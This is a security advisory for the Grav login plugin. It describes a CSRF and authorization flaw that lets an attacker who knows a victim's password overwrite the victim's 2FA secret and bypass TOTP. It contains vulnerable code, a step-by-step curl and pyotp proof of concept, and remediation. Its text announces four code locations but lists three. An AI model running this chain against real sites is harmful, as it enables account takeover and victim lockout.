GHSA-7mgc-c7pq-3rr3: CSRF
Summary When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofasecret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.
Details Four code locations in login plugin v3.8.10 enable the chain:
1. Session user set even with 2FA pending user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.
2. taskRegenerate2FASecret - no authorization check user/plugins/login/classes/Controller.php
php public function taskRegenerate2FASecret() { $user = $this->grav['user']; if ($user->exists()) { // ← only checks exists(), NOT authorized() $secret = $twoFa->createSecret(); $user->twofasecret = $secret; // overwrites victim's secret on disk $user->save(); $jsonresponse = [ 'status' => 'success', 'image' => $image, 'secret' => trim(pregreplace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker ]; } }
3. No CSRF nonce required user/plugins/login/login.php - the task dispatch switch only validates twofacancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.
PoC Confirmed live on this instance after enabling plugins.login.twofaenabled: true and configuring TOTP on the user account.
bash Step 1: Password-only login (lands in 2FA-pending; keep session cookie) LOGINPAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login") NONCE=$(echo "$LOGINPAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+') curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \ "http://127.0.0.1/grav/login" \ -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"
Step 2: Regenerate the 2FA secret (NO nonce required) curl -s -b /tmp/2fa.jar \ "http://127.0.0.1/grav/login/task:login.regenerate2FASecret" {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}
Step 3: Compute TOTP from the attacker-chosen secret python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())" 152656
Step 4: Complete 2FA with attacker's TOTP code curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \ -d "task=login.twofa&2facode=152656"
Step 5: Verify - fully authenticated as victim curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout' Grav User Logout
Impact Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.
The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/getgrav/gravto a version that resolves this vulnerability.Fixed in 2.0.4 - Configuration
The issue was confirmed live after enabling `plugins.login.twofa_enabled: true`. Ensure 2FA is enabled globally (and for users) so the affected flow exists only when intended.
Grav (login plugin) plugins.login.twofa_enabled = true/enable - Configuration
Patch the login plugin so `login.regenerate2FASecret`/`taskRegenerate2FASecret` is guarded: it currently requires no CSRF nonce and only checks `$user->exists()` (not `$user->authorized`). Update the controller/task dispatcher so the regeneration task requires proper authorization (e.g., `$user->authorized`) and requires/validates the `login-form-nonce` CSRF nonce before allowing 2FA secret regeneration.
Grav (login plugin) taskRegenerate2FASecret CSRF/authorization protection = require - Configuration
Fix the logic in `user/plugins/login/login.php` where `userLogin()` assigns `$session->user = $user` before TOTP verification completes. Ensure the session user is not treated as an authenticated/active user during the pending-2FA window until TOTP verification succeeds.
Grav (login plugin) 2FA enforcement during pending challenge = do not set session user before TOTP completion
Event History
Frequently Asked Questions
Which users are exposed?
Accounts with 2FA enabled are exposed if an attacker has the account’s correct username and password. The issue occurs during the period after password authentication succeeds but before TOTP verification is completed.
What does an attacker need to bypass the second factor?
The attacker needs valid account credentials and must invoke the 2FA-secret regeneration task while the account is in the pending 2FA challenge state. That task does not require the user to be authorized or provide a CSRF nonce, allowing the attacker to set a secret they control and generate a valid TOTP code.